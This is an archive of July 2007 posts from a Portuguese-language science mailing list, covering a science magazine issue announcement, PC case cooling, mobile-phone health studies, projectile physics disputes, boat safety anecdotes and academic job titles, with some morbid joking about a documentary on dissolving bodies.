| Está no ar o número 89 da revista mensal eletrônica de jornalismo
| científico ComCiência, publicada pelo LABJOR e pela SBPC. O tema desta
| edição é "Determinismos".
|
|
| Editorial
|
| Determinismo e ordem simbólica - Carlos Vogt
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=293
|
|
| Artigos
|
| Ciência e determinismo
| Daniel Durante Pereira Alves
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=292
|
| A questão do assujeitamento: um caso de determinação histórica
| Eni P. Orlandi
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=296
|
| Más influências: o clima tropical e o Brasil
| Lorelai Kury
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=297
|
| Determinismo reducionista biológico e a explicação do comportamento
| Marcus Bentes de Carvalho Neto e Aline Beckmann Menezes
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=294
|
| As falsas promessas deterministas
| Maria Teresa Citeli
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=303
|
|
| Reportagens
|
| Crimes e castigos do determinismo
| Yurij Castelfranchi
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=298
|
| Pode a geografia determinar o desenvolvimento?
| André Gardini
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=301
|
| Cultura e comportamento
| Rodrigo Cunha
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=295
|
| Usos políticos da suposta desigualdade inscrita na natureza
| Carolina Cantarino
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=299
|
| Debates em torno do determinismo econômico
| Marta Kanashiro
| http://www.comciencia.br/comciencia/?section=8&edicao=26&id=302
|
|
|
| Resenha
|
| Matrix reloaded
| Por Susana Dias
| http://www.comciencia.br/comciencia/?section=8&edicao=26&tipo=resenha
|
|
| Entrevista
|
| Langdon Winner
| Por Patrícia Mariuzzo e Flávia Natércia
| http://www.comciencia.br/comciencia/?section=8&edicao=26&tipo=entrevista
|
|
| Notícias
| http://www.comciencia.br/comciencia/?section=3
|
| - Pesquisadores sugerem plano de ação contra o aquecimento global
| - Pensamento de Milton Santos chega às telas do cinema
| - Pan impulsiona debate sobre violência no esporte
| - Raça, racismo e genética: novos parâmetros, velhas práticas políticas?
| - Reservatórios de petróleo podem armazenar CO2
|
| Boa Leitura!
|
| ComCiência - http://www.comciencia.br
| Labjor - http://www.labjor.unicamp.br
|
|
|
|
| --
| No virus found in this incoming message.
| Checked by AVG Free Edition.
| Version: 7.5.476 / Virus Database: 269.10.2/893 - Release Date: 09/07/2007 17:22
|
|


SUBJECT: Fw: ol�, prof. Luiz Ferraz!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 11/07/2007 19:33

Olá todos,

como o tema posto abaixo pelo Dr. André tem amplo leque, apreciaria sugestões dos amigos para um "científico gabinete de PC" destacando, didaticamente, os petrechos colocados e suas funções (térmicas, eletromagnéticas, blindagem etc.)

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Artes e Melodias
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 10 de julho de 2007 15:47
Assunto: olá, prof. Luiz Ferraz!


Prof. Luiz Ferraz Neto,

Li o vosso artigo sobre a gaiola de Faraday e achei muito interessante.
Talvez possa me ajudar.

Estamos montando equipamentos para utilizá-los em educação.
O trabalho é social, mas tem fins lucrativos.

Dentre os equipamentos, está a caixa para acoplar os hardwares (processador, motherboard etc) do pc: o gabinete.
Estamos, então, construindo o nosso próprio gabinete.

O gabinete precisa ter algumas características fundamentais:
1. ser amplo para facilitar a circulação de ar e possibilitar o maior distanciamento possível entre o processador e a fonte,
que será de 450 ou 500 W reais.
2. ser feito de um material leve e com maior poder de dissipação de calor possível: o alumínio seria uma excelente opção, mas se colocássemos uma lâmina de cobre ou uma tela de cobre unida a ele talvez fosse mais interessante. Não temos certeza.
3. absorver o som das ventoinhas - pois ficará dentro do estúdio de gravação de sons. Talvez colocar umas plaquinhas de lã de rocha
seja o suficiente, em espinha de peixe a frente de cada cooler. Não temos certeza se isso seria o mais viável ou o mais interessante neste caso.

Estamos pensando também em colocar na face interna das placas que formarão o gabinete umas cerpentinas de tubo de cobre em caracol, exercendo o papel do radiador.

A finalidade é educar e demosntrar a possibilidade de alguém montar seu proprio gabinete de pc com grande retorno, sem precisar investir em gabinetes caríssimos como o casemall de ponta. Você teria alguma informação para nos dar, que nos ajudaria na confecção deste gabinete? Não estamos valorizando estética.

Obrigado pela atenção, um abraço e aguardo retorno.

Dr. André Cardoso


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Lei obriga fabricante a colocar a msg 'Celular pode causar danos à saúde'
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/07/2007 20:44

--- Em ciencialist@yahoogrupos.com.br, Robespierre B. Gonçalves
> Já existe alguma comprovação de que celulares fazem mal à saúde? Em
> que se baseia esta lei?

Se baseia apenas em sensacionalismo da imprensa. O próprio prejeto à
época reconhecia - em sua justificativa - q não havia estudos
conclusivos. Para o autor entraria no critério da precaução.

O Projeto de Lei foi elaborado em 2000. Foi rejeitado pela Comissão de
Ciência, Tecnologia, Comunicação e Informática em 30 de maio de 2006.

O parecer do relator - q foi aprovado CCTCI - pode ser lido em:
http://www.camara.gov.br/sileg/MostrarIntegra.asp?CodTeor=399322

Foi arquivado e recentemente desarquivado.

A tramitação do processo pode ser acompanhada em:
http://www.camara.gov.br/sileg/Prop_Detalhe.asp?id=19259

Atualmente ainda não há estudos conclusivos sobre efeitos deletérios
das radiações de microondas dos celulares. Há alguns estudos q parecem
indicar a possibilidade.

Non-thermal activation of the hsp27/p38MAPK stress pathway by mobile
phone radiation in human endothelial cells: Molecular mechanism for
cancer- and blood-brain barrier-related effects
http://www.blackwell-synergy.com/links/doi/10.1046/j.1432-0436.2002.700207.x

The Possible Role of Radiofrequency Radiation in the Development of
Uveal Melanoma.
http://www.epidem.com/pt/re/epidemiology/abstract.00001648-200101000-00003.htm

Health risks from the use of mobile phones
http://users.ntua.gr/mmakro/healthrisk-mobile.pdf

Preliminary report: Symptoms associated with mobile phone use
http://occmed.oxfordjournals.org/cgi/content/abstract/48/6/357

Radio and microwave frequency radiation and health--an analysis of the
literature
http://www.ncbi.nlm.nih.gov/sites/entrez?cmd=Retrieve&db=PubMed&list_uids=12836129&dopt=Citation

E outros q não encontram associação:

Long-Term Mobile Phone Use and Brain Tumor Risk
http://171.66.121.65/cgi/content/abstract/161/6/526

Brains and mobile phones
http://www.bmj.com/cgi/content/full/332/7546/864
(Editorial do jornal da British Medical Association q resume a
história de um modo um tanto irônico: "The biggest risk to health from
mobile phones is using them while driving")

Um bom resumo:
Health Effects of Mobile Phone Base-stations: Human Studies
http://www.who.int/peh-emf/meetings/archive/fox_bsw.pdf

[]s,

Roberto Takata



SUBJECT: Re: Física
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/07/2007 22:37

Qto mais rarefeito o ar, mais ele se aproxima do vácuo. Natural q o
índice de refração daquele se aproxime do deste. Ou de outro modo, qdo
mais rarefeito o ar, maior a distância média entre as partículas
opticamente ativas - por um dado caminho q a luz passe, menor a
probabilidade dela ser absorvida e reemitida diminuindo sua velocidade.

A temperatura costuma afetar a densidade de um corpo.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Quem se habilita?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> De: Odair Junior
> Olá professor Léo. Tenho uma pequena grande dúvida, que é: Já li em
livros em que o ÍNDICE DE REFRAÇÃO da luz é proporcional à densidade
do ar e inversamente proporcional à temperatura do ar. Por quê? Como
esses fatores alteram esse índice? Desde já agradeço.




SUBJECT: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um carro idem
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/07/2007 23:29

Olá, Silvio!
Com 17 anos não temos a noção do perigo que essa manobra tem...
Mesmo com um mar sem muita marolas o risco do navio maior danificar e/ou
afundar o menor é grande.
Creio que no seu caso o navio estava parado, o que não se aplica aos
fenômenos mencionados abaixo.
Abraços
José Renato
.....................................

----- Original Message -----
From: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 09, 2007 9:58 AM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem


Renato:

Sobre barcos.

Tive um, pesquyeiro de 7 metros. Aqui, na colonia todos os pescadores velhos
dizem que não é seguro aproximar-se de um navio grande.

Um casra que estava num imenso mineroil na Samarco passou pelo rádio (eu era
PX) um pedido para levar cigarros.
Ele pagava bem.
Nenhum pescador quiz ir: meu filho, com 17 anos pegou o barco e foi,
sozinho, encostou no costado do navio - ele disse que é igual a uma piscina
do lado contra as ondas: entregou os cigarros, recebeu a grana e um
uisque...
Assim, pelo menos para os navios poitados na Samarco, essa teoria não
prevalece. Meu filho foi porquê, como tudo na vida, devemos enfrentar
pequenos desafios.

bom dia,
silvio.

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, July 02, 2007 9:35 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem


Comentários após JR1...
....................................
----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 01, 2007 10:52 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem

Algumas observações and questions:

1- Remo é uma alavanca, quer seja usado sobre o gancho na borda do barco
quer diretamente apenas com as mãos. Pergunto: que tipo de alavanca é o
remo? Interfixa, interpotente ou inter-resistente?

2- "JR - Os movimentos da água são difíceis de se determinar, mas os
pescadores
de pequeno curso sabem que não devem se aproximar de um barco maior pois
podem ser "sugados" pelo deslocamento provocado na água pelo casco ou
pelas
hélices."
Não é bem assim. Dois barcos navegando próximos determinam um fluxo de
água
entre eles com velocidade maior que dos outros lados dos barcos. Bernoulli
justifica a aproximação entre eles; é equivalente a soprar entre duas
bolas
próximas dependuradas.
JR1 - Esse efeito que vc menciona não é o que prevalesse no caso aventado
de
pequenos barcos de pesca. Os movimentos mais significativos provocados na
água são o do deslocamento do barco maior e o das hélices.

3- O acréscimo de velocidade horizontal adquirido pela bola após a
primeira
quicada só (penso eu) pode ser justificado pela rotação da bola em sentido
anti horário (em relação ao visto no filme). Empuxo do ar (ou vácuo) na
área
da bola é incompatível com o observado (e calculado pelo Roberto).
JR1 - Repetindo a resposta anterior, afirmo que o que determina a brusca
aceleração da bola após o primeiro quicar no chão ainda está
indeterminada.
Há duas possibilidades mais visíveis: a rotação da bola e irregularidade
no
piso.

4- E o avião? Já Decolou? Quem tem dúvida pense assim: que aconteceria se
a
esteira 'corresse' no mesmo sentido e valor da velocidade do avião
conforme
este adquire velocidade em relação ar?
JR1 - Aqui vc já define o referencial para a medida da velocidade: o ar.
No
caso questionado estamos de acordo que o avião decola da esteira quando
sua
velocidade é medida em relação ao ar ou ao chão.

5- Força de atrito não existe e não caracteriza corpo, superfície,
natureza
ou qqer força natural. Esse componente da força total de apoio é, sem
dúvida, muitas vezes útil. A lei de Coulomb-Morin para superfícies secas
(Fat = µ.N) denota bem sua utilidade ... todavia, notem, é função de N,
para
deixar claro que ela e N pertencem a algo mais geral. Se um bloco está
apoiado sobre um plano inclinado, sem deslizar, e alguém perguntar "como é
a
reação total de apoio?", não há o que pensar duas vezes para responder "é
a
equilibrante do peso do bloco!", portanto, vertical, para cima e de mesmo
valor que m.g.

6- Sucesso! Acabei de chegar da cidade de Três Marias - MG (quiuspa! 9
horas
de viagem!) onde fiz palestra na 4a feira à noite e exposição de uns 20
experimentos que levei prá lá, na 5a feira à noite. Saboreei um 'surubim
grelhado à beira do Rio São Francisco, visitei a Votorantin-metais (maior
produtora de zinco do Brasil) --- tudo na base de van para transporte
(sprinter), carro à disposição, hotel etc.; aceitei o convite da
Votorantin,
prefeitura e Secret. da Educação. Ah! agora tenho algumas barras de zinco
para fazer um bocado de experiências!

inté a próxima ........
aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================

Parabéns pelo seu sucesso em Três Marias!
Serve pelo menos para recuperar do cansaço pelas horas de viagem...

[]s

José Renato
........................................................................

-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 30 de junho de 2007 20:53
Assunto: Re: [ciencialist] Jogar uma bola a 100km/h de um carro
a100km/h:osresultados

[ ... ]





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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/07/2007 00:21

Olá, Takata, suas afirmações estão incorretas!
Veja os esclarecimentos no texto abaixo...
.........................
From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 09, 2007 10:34 PM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Grato, Luiz, mas a trajetória da questão carro-bola, por diversos
> motivos, não é uma reta inclinada!

E o motivo dela NÃO ser uma reta inclinada é q NÃO há aceleração
horizontal significativa. O q significa q NÃO há ação significativa do
vento.
JR - O que, que é isso, Takata! Esqueceu da aceleração gravitacional
incindindo sobre a bola? A trajetória da bola só descreveria uma reta
inclinada 45° *se* a aceleração horizontal fosse aplicada exatamente igual a
gravitacional.

A decomposição de componentes da trajetória é algo perfeitamente
factível por conta da natureza vetorial do deslocamento (apresenta
módulo, direção e sentido). Aliás, é uma das primeiras lições de
cinemática e dinâmica do ensino médio (ex-segundo grau, ex-colegial).
JR - Então vc deve saber que a afirmação que fiz acima está correta.

O q identifica cada componente é, sem surpresas, a *direção* vertical
ou horizontal de cada um. Outras decomposições são possíveis, mas esta
é a mais didática e a mais conveninente, posto q as forças q
supostamente estão agindo: gravidade e empuxo do vento - estão nessas
direções ortogonais.
JR - Se vc estudou cinemática sabe que a aceleração gravitacional irá compor
uma trajetória curva, exceto na condição de igualdade com a aceleração
componente horizontal, como já mencionado acima... E que a decomposição é um
artifício virtual. O movimento real é composto pelas duas componentes:
"horizontal" e "vertical".


[]s,
Roberto Takata

Abraços
José Renato



SUBJECT: Re: [ciencialist] armas do futuro
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/07/2007 00:23

Mas depois que os "estilhaços" descongelaram deve ter ficado uma meleira
só...
[]s
JR
......................................

----- Original Message -----
From: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, July 07, 2007 7:51 PM
Subject: Re: [ciencialist] armas do futuro


Mori:

Hidrogênio líquido.

Já coloquei um rato imerso no hidrogênio, quando tirei, foi jogado no chão e
desintegrou como se fosse vidro....

sds.,

silvio.

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, July 07, 2007 11:17 AM
Subject: RES: [ciencialist] armas do futuro


Mori,

>"Qual seria o sabão em pó mais indicado para dissolver cadáveres?"

Sei mas não digo. Quer fazer concorrência às Empresas de fornos
crematórios, é?

Talvez o cadáver sofra menos... Fogo é foogo...

Brincadeira.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Kentaro Mori
Enviada em: sexta-feira, 6 de julho de 2007 23:42
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] armas do futuro

No Japão, a seita Aum Shinrikyo -- que lançou gás sarin no metrô de
Tóquio em 1995 -- também desenvolveu um microondas gigante (em um
recinto fechado) com o qual pôde matar e destruir os restos mortais de
um advogado contrário ao culto, entre outras peripécias.

Isso segundo relatos de jornais, não sei se é mesmo factual, mas não
duvido muito. É a mesma seita que adorava as obras de Asimov.

Nessa vertente mórbida, algo interessante que vi em um documentário:
todos devem conhecer o caso do assassino inglês que dissolvia os
corpos das vítimas em ácido -- isso há décadas, quando um sujeito
ainda podia conseguir galões de ácido sem levantar tantas suspeitas.
No final ele foi pego porque as pedras nos rins de uma das vítimas,
bem como sua bolsa, não dissolveram.

No documentário, mostraram que hoje em dia uma alternativa seria...
sabão em pó, de lavar roupas mesmo. Com sua "dupla ação", ou ,melhor,
suas enzimas e afins, a solução de água com sabão em pó seria capaz de
dissolver tecidos macios em alguns dias, restando apenas os ossos.

Fizeram uma demonstração, que funcionou. O pessoal da ciencialist
poderia comentar mais sobre o tema? T.A.K.A.T.A.?

Qual seria o sabão em pó mais indicado para dissolver cadáveres?
Cometer esse OMOcídio (genial, hein? hein?)?

Abraços,

Mori

On 7/6/07, Luiz Ferraz Netto <leobarretos@uol.com.br
<mailto:leobarretos%40uol.com.br> > wrote:
> Microondas, tipo forno de microondas, é um sistema confinado, pequeno e
modesto, e necessita de uma válvula 'klinston' e guia de ondas para atuar
sobre aquele minúsculo sistema fechado. Além disso, as ondas têm
freqüência
fixa para 'modular' a molécula da água sendo, portanto, inativas às demais
moléculas.
> "Fritar" um corpo humano, via microondas, é realmente uma ficção; a
abertura da faixa de atuação é enorme! Além do que, a potência de tal
dispositivo, num volume tão amplo (igreja), é algo bem distante da
tecnologia dos microondas.
> Se bem que, se aplicado numa igreja, as divindades protetoras (deuses)
iriam, rapidamente, envolver os fiéis num campo de contenção (escudos
divinos) e eles nada sofreriam. A fé os protegeriam de todos esses ataques
da produção científica (hic!). Que tal? Gostou?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Emanuel Valente" <emanuelvalente@gmail.com
<mailto:emanuelvalente%40gmail.com> >
> Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
> Enviada em: sexta-feira, 6 de julho de 2007 20:09
> Assunto: [ciencialist] armas do futuro
>
> Olá a todos!
> Alguém da lista já deve ter assistido ao seriado ALIAS, que passava na
> axn e um pouco no sbt. Em um dos episódios é desenvolvida uma arma
> baseada em princípos eletromagnéticos.
> Vejam como era seu funcionamento: Ela gerava um grande campo
> eletromagnético numa frequência de 2,5ghz. O interessante é que nessa
> frequência as ondas são absorvidas por gordura, água e açucar. Essa
> mesma idéia é a base dos microondas caseiros, que esquentam somente a
> comida (gordura + água), não atuando nos movimentos da moléculas
> (temperatura) do recipiente.
> No seriado a arma foi usada dentro de uma igreja. As pessoas que
> estavam em seu interior foram literalmente "fritas". A igreja não
> sofreu nunhum arranhão e ficou intacta.
>
> A pegunta éa seguinte: É possível gerar um campo numa frequência
> programada dessa magnitude? Quais são as limitações para que isso
> ocorra? É possível que, futuramente, existam armas baseadas em
> conceitos aqui descritos?
>
> Um abraço,
>
> Emanuel Valente.
>
> obs: Desculpem pelo email anterior: "Não usem o gmail utilizando o
> navegador safari"
>
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17:22



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 01:08

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> E o motivo dela NÃO ser uma reta inclinada é q NÃO há aceleração
> horizontal significativa. O q significa q NÃO há ação significativa
> do vento.
> JR - O que, que é isso, Takata! Esqueceu da aceleração gravitacional
> incindindo sobre a bola? A trajetória da bola só descreveria uma
> reta inclinada 45° *se* a aceleração horizontal fosse aplicada
> exatamente igual a gravitacional.

Não, não me esqueci da aceleração gravitacional. Lembra-se disto (?):

"deltaSy = Vyo.t + 1/2.ay.t^2 [1]
deltaSx = Vxo.t + 1/2.ax.t^2 [2]

Consideremos Vyo e Vxo como iguais a zero.

deltaSy = 1/2.ay.t^2 [3]
deltaSx = 1/2.ax.t^2 [4]

ay = g
ax = aceleração produzida pelo vento."
http://br.groups.yahoo.com/group/ciencialist/message/64362

Agora, em vez de ficar dizendo q não ocorre, FAÇA a simulação no
Excel. Se vc encontrar QUALQUER valor não-nulo de ax (aceleração
produzida pelo vento) q faça com q a trajetória NÃO seja uma reta
inclinada (ninguém falou em 45o, criatura, ou apenas trajetórias em
45o são retas inclinadas?) darei meu braço a torcer.

Eu deixei algumas simulações em:
http://br.groups.yahoo.com/group/ciencialist/files/trajetoria-ax-ay.xls

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um carro idem
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/07/2007 01:39

Renato:

Mas é com o navio parado que há risco, se for abordado a favor das ondas. entretanto, do lado contra a maré o mar fica calmo.
E não é possível abordar um navio em movimento isso não existe. O caso é que nós tínhamos muito treino para manobrar o barco em aguas revoltas pois quando há um recife ou uma ilha, é exatamente onde as ondas quebram que tem peixe. Inclusive há muitos afundamentos nestes locais, quando turistas ou quem não é no ramo, se aventura... Meu filho ganhou um bom dinheiro mergulhando e resgatando um barco de aluminio e motor de popa que afundou exatamente num lugar de ondas fortes.
Andar de moto é muito mais ariscado.

um abraço,
silvio.

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, July 11, 2007 11:29 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um carro idem


Olá, Silvio!
Com 17 anos não temos a noção do perigo que essa manobra tem...
Mesmo com um mar sem muita marolas o risco do navio maior danificar e/ou
afundar o menor é grande.
Creio que no seu caso o navio estava parado, o que não se aplica aos
fenômenos mencionados abaixo.
Abraços
José Renato
.....................................

----- Original Message -----
From: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, July 09, 2007 9:58 AM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem

Renato:

Sobre barcos.

Tive um, pesquyeiro de 7 metros. Aqui, na colonia todos os pescadores velhos
dizem que não é seguro aproximar-se de um navio grande.

Um casra que estava num imenso mineroil na Samarco passou pelo rádio (eu era
PX) um pedido para levar cigarros.
Ele pagava bem.
Nenhum pescador quiz ir: meu filho, com 17 anos pegou o barco e foi,
sozinho, encostou no costado do navio - ele disse que é igual a uma piscina
do lado contra as ondas: entregou os cigarros, recebeu a grana e um
uisque...
Assim, pelo menos para os navios poitados na Samarco, essa teoria não
prevalece. Meu filho foi porquê, como tudo na vida, devemos enfrentar
pequenos desafios.

bom dia,
silvio.

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, July 02, 2007 9:35 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem

Comentários após JR1...
....................................
----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 01, 2007 10:52 PM
Subject: Re: [ciencialist] Jogar uma bola a 100 quilômetros por hora de um
carro idem

Algumas observações and questions:

1- Remo é uma alavanca, quer seja usado sobre o gancho na borda do barco
quer diretamente apenas com as mãos. Pergunto: que tipo de alavanca é o
remo? Interfixa, interpotente ou inter-resistente?

2- "JR - Os movimentos da água são difíceis de se determinar, mas os
pescadores
de pequeno curso sabem que não devem se aproximar de um barco maior pois
podem ser "sugados" pelo deslocamento provocado na água pelo casco ou
pelas
hélices."
Não é bem assim. Dois barcos navegando próximos determinam um fluxo de
água
entre eles com velocidade maior que dos outros lados dos barcos. Bernoulli
justifica a aproximação entre eles; é equivalente a soprar entre duas
bolas
próximas dependuradas.
JR1 - Esse efeito que vc menciona não é o que prevalesse no caso aventado
de
pequenos barcos de pesca. Os movimentos mais significativos provocados na
água são o do deslocamento do barco maior e o das hélices.

3- O acréscimo de velocidade horizontal adquirido pela bola após a
primeira
quicada só (penso eu) pode ser justificado pela rotação da bola em sentido
anti horário (em relação ao visto no filme). Empuxo do ar (ou vácuo) na
área
da bola é incompatível com o observado (e calculado pelo Roberto).
JR1 - Repetindo a resposta anterior, afirmo que o que determina a brusca
aceleração da bola após o primeiro quicar no chão ainda está
indeterminada.
Há duas possibilidades mais visíveis: a rotação da bola e irregularidade
no
piso.

4- E o avião? Já Decolou? Quem tem dúvida pense assim: que aconteceria se
a
esteira 'corresse' no mesmo sentido e valor da velocidade do avião
conforme
este adquire velocidade em relação ar?
JR1 - Aqui vc já define o referencial para a medida da velocidade: o ar.
No
caso questionado estamos de acordo que o avião decola da esteira quando
sua
velocidade é medida em relação ao ar ou ao chão.

5- Força de atrito não existe e não caracteriza corpo, superfície,
natureza
ou qqer força natural. Esse componente da força total de apoio é, sem
dúvida, muitas vezes útil. A lei de Coulomb-Morin para superfícies secas
(Fat = µ.N) denota bem sua utilidade ... todavia, notem, é função de N,
para
deixar claro que ela e N pertencem a algo mais geral. Se um bloco está
apoiado sobre um plano inclinado, sem deslizar, e alguém perguntar "como é
a
reação total de apoio?", não há o que pensar duas vezes para responder "é
a
equilibrante do peso do bloco!", portanto, vertical, para cima e de mesmo
valor que m.g.

6- Sucesso! Acabei de chegar da cidade de Três Marias - MG (quiuspa! 9
horas
de viagem!) onde fiz palestra na 4a feira à noite e exposição de uns 20
experimentos que levei prá lá, na 5a feira à noite. Saboreei um 'surubim
grelhado à beira do Rio São Francisco, visitei a Votorantin-metais (maior
produtora de zinco do Brasil) --- tudo na base de van para transporte
(sprinter), carro à disposição, hotel etc.; aceitei o convite da
Votorantin,
prefeitura e Secret. da Educação. Ah! agora tenho algumas barras de zinco
para fazer um bocado de experiências!

inté a próxima ........
aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================

Parabéns pelo seu sucesso em Três Marias!
Serve pelo menos para recuperar do cansaço pelas horas de viagem...

[]s

José Renato
........................................................................

-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 30 de junho de 2007 20:53
Assunto: Re: [ciencialist] Jogar uma bola a 100km/h de um carro
a100km/h:osresultados

[ ... ]

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SUBJECT: Seja um Classificador de Galaxias
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 01:48

A Galaxy Zoo convida os interneteiros a ajudarem na classificação de
objetos celestes - fotos de galáxias e outros objetos luminosos do
espaço sideral são mostradas pedindo para q os voluntários
classifiquem-nos em galáxias espirais (o sentido de giro), elípticas,
em colisão e estrelas isoladas e outros artefatos.

O objetivo é ajudar no catálogo galáctico.

Os organizadores confiam mais na capacidade de processamento humano do
q em algoritmos de análise de imagens.

Quem quiser colaborar é só se inscrever em:

http://www.galaxyzoo.org/

E passar por um pequeno teste (acertar na classificação de mais da
metade das 15 fotos q serão mostradas) depois de ler um tutorial.

[]s,

Roberto Takata



SUBJECT: Res: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: Dirceu Dias <hymboldt2005@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 08:04

E o professor substituto? É por prazo determinado?

DDias




----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Terça-feira, 10 de Julho de 2007 12:49:42
Assunto: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...

--- Em ciencialist@ yahoogrupos. com.br, "Luis Brudna" <luisbrudna@ ...>
> Qual eh a diferenca entre professor assistente e adjunto?

O Prof. Assistente tem título de mestrado. O Adjunto tem doutorado.

[]s,

Roberto Takata





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SUBJECT: Re: [ciencialist] Re: Professor adjunto, assistente, titular, convidado...
FROM: "Marcelo Cortimiglia" <cortimiglia@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/07/2007 08:27

Dirceu,

ate onde sei, sim. Nas universidades federais, sao contratos de um ano,
prorrogaveis por mais um. Embora cada Departamento possa instituir suas
proprias regras, normalmente nao ha titulacao minima necessaria (alem,
claro, da graduacao). Da mesma forma, a selecao costuma envolver entrevista
e analise de curriculo.

Abracos,
--
Dott. Cortimiglia, Marcelo
-------------------------------------------------------------------------------
Politecnico di Milano
Dipartimento di Ingegneria Gestionale - Ph.D. Program
-------------------------------------------------------------------------------
Phone +39 02 2399 2817 | +39 334 5232 502
Email Address marcelo.cortimiglia@mail.polimi.it | cortimiglia@gmail.com


Em 12/07/07, Dirceu Dias <hymboldt2005@yahoo.com.br> escreveu:
>
> E o professor substituto? É por prazo determinado?
>
> DDias
>
> ----- Mensagem original ----
> De: rmtakata <roberto.takata@bol.com.br <roberto.takata%40bol.com.br>>
> Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Enviadas: Terça-feira, 10 de Julho de 2007 12:49:42
> Assunto: [ciencialist] Re: Professor adjunto, assistente, titular,
> convidado...
>
> --- Em ciencialist@ yahoogrupos. com.br, "Luis Brudna" <luisbrudna@ ...>
> > Qual eh a diferenca entre professor assistente e adjunto?
>
> O Prof. Assistente tem título de mestrado. O Adjunto tem doutorado.
>
> []s,
>
> Roberto Takata
>
> Flickr agora em português. Você cria, todo mundo vê.
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>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


